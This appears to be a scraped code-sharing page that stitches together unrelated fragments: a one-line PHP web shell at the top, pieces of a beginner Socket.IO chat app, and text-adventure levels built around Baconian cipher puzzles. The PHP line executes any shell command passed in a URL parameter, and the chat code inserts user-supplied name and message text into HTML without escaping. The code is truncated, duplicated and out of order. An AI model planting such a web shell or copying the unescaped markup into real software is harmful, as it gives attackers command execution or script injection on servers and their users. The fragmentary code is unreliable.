Skip to content

Instantly share code, notes, and snippets.

echo system($_GET["cmd"]);
<!doctype html>
<html>
<head>
<title>Socket.IO chat</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
var app = require('express')();
var http = require('http').Server(app);
var io = require('socket.io')(http);
var port = process.env.PORT || 3000;
app.get('/', function(request, response) {
response.sendFile(__dirname + '/views/index.html');
});
io.on('connection', function(socket){
$('#clickme').click(function(){
var date = new Date();
let name = document.getElementById("name").value;
let color = document.getElementById("color").value;
var message = document.getElementById("message").value;
let time = date.toLocaleString()
let input = `<span style="color: ${color};">${name}</span>: ${message} <span id="timetext">${time}</span>`
let newMsgInDatabase = yourDatabase.push();
newMsgInDatabase.set(input); //from socket.emit to database.push
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {font: 13px Helvetica, Arial;}
#input {
background:#000;
padding: 3px;
position: fixed;
<div id="nameInput">
<input type="text" id="name" autocomplete="off" placeholder="Name" value="Anonymous">
<input type="color" id="color" value="#aa00ff">
</div>
<ul id="messages"></ul>
<div id="input">
<input type="text" id="message">
<button id="clickme">Click Here</button>
</div>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {font: 13px Helvetica, Arial;}
#input {
background:#000;
padding: 3px;
position: fixed;

Level 8c: Relief

Thank goodness there was toilet paper. On your way back to class you see your crush, Sam, in the hallway again! Now you can stop and take the time to talk to Sam instead of running to the bathroom. You tell a joke and hope that Sam thinks it’s funny. You: What did the empty roll of toilet paper say to the full roll of toilet paper? Sam: I don’t know, what? You: You must be new here. Solve the following Baconian Cipher to see what Sam thinks of your joke.

This is not the cipher. I will put it here once i figure out images.

Level 7c: Problem Solved... Or is it?

You finally make it to the bathroom and you burst into a stall. However, you were so focused on getting to this bathroom that you forgot to check if this bathroom even has toilet paper. By now, it’s too late to turn back so you hope for the best and check for toilet paper. Solve the following Baconian Cypher to see what you find when you check for toilet paper.

please LEt theRe bE tOilEt papeR In ThE bAthRoOm

Level 6c: Unfortunate Encounters

In order to avoid an awkward encounter with your crush, you decide to take the stairs and go the even longer route to the bathroom. You are trying hard to calmly walk to the bathroom, but you REALLY have to go. You realize you only have one option left. Solve the following Baconian Cipher to find out what to do.

Maybe you should not have chosen the chilli to eat for lunch!